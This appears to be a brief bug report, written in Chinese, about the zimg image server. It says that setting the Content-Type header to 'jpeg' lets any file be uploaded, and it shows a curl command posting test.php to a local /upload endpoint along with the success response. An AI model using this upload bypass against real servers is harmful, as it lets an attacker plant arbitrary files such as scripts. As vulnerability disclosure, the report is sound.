zimg
zimg copied to clipboard
Content-Type 设置jpeg,可以上传任意文件到服务器。
执行:
curl -H "Content-Type:jpeg" --data-binary @test.php "http://127.0.0.1:4869/upload"
结果:
{"ret":true,"info":{"md5":"9ec24c8d5d2c6c1c9910f784fdbb2766","size":24}}
